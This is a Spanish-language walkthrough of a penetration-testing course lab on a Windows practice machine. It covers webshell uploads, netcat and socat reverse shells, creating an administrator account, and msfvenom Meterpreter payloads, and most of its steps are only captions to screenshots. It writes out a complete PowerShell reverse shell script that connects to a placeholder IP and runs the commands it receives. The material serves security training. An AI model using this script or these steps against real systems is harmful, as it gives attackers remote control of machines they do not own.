XUT_ / COURSES / PENETRATION TESTER

Windows Practice Box

  1. Prueba a activar la php-reverse-shell. ¿Funciona?
    1. Subimos la shell. Windows Practice Box
    2. Nos ponemos en escucha. Windows Practice Box
    3. Activamos la shell y esperamos la conexión. Windows Practice Box No se puede.
  2. Sube una webshell y obtén una reverse shell usando Powershell.
    1. Subimos la shell. Windows Practice Box
    2. Nos ponemos en escucha. Windows Practice Box
    3. Cargamos la shell y le metemos el comando que vimos en la tarea 11. Windows Practice Box
    4. Esperamos la conexión. Windows Practice Box
  3. El servidor web está corriendo con permisos SYSTEM. Crea un nuevo usuario y añádelo al grupo "administrators", luego inicia sesión por RDP o WinRM.
    1. Añadimos el usuario nuevo y lo metemos al grupo de administradores. Windows Practice Box
    2. Inicio sesión con RDP. Windows Practice Box
  4. Experimenta usando socat y netcat para obtener reverse y bind shells en el objetivo Windows.
    1. Netcat reverse shell. Windows Practice Box
    2. Vamos a probar socat. Windows Practice Box Tampoco va, pero podíamos subir un socat en binario precompilado.
    3. Vamos a subirlo. Windows Practice Box
    4. Ya lo tenemos en la máquina. Windows Practice Box
    5. No nos deja. Windows Practice Box
    6. Puede que tengamos que iniciar sesión como administrador. No era eso.
    7. Vamos a subir el siguiente archivo y lo llamaremos reverse.ps1:
powershell
$client = New-Object System.Net.Sockets.TCPClient('<IP>', <PUERTO>);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
};
$client.Close();

Windows Practice Box 6. Crea una shell Meterpreter Windows 64 bits usando msfvenom y súbelo al objetivo. Activa la shell y captúrala con el multi/handler.

  1. Creamos el payload en msfvenom. Windows Practice Box
  2. Lo subimos a la plataforma. Windows Practice Box
  3. Nos ponemos en escucha con Metasploit. Windows Practice Box
  4. Creamos un archivo que ejecute el archivo que hemos creado. Windows Practice Box
  5. Lo subimos y lo ejecutamos. Windows Practice Box
  6. No he conseguido estabilizarla de ninguna manera. Windows Practice Box
  7. A ver si entrando como admin y ejecutando el código. Para ello voy a crear otro .exe con un puerto diferente.
    1. Entramos con administrador. Windows Practice Box
    2. Creamos y cargamos el nuevo archivo. Windows Practice Box Windows Practice Box
    3. Nos ponemos en escucha con multi/handler (antes debemos configurar el payload, como se ve en la última foto). Windows Practice Box
    4. Ejecutamos el código. Windows Practice Box
    5. Recibimos la shell. Windows Practice Box
    6. Si escribimos help nos salen todos los comandos que podemos utilizar. Windows Practice Box
  8. Crea una shell Meterpreter staged y uno stageless. Intenta capturarlas con netcat. ¿Funciona?
    1. Creamos la stageless. Windows Practice Box
    2. Creamos la staged. Windows Practice Box
    3. Subimos las dos. Windows Practice Box Windows Practice Box
    4. Nos ponemos en escucha con nc. Windows Practice Box
      1. La stageless sí funciona. Windows Practice Box
      2. La del staged no funciona, habría que capturarla con multi/handler. Windows Practice Box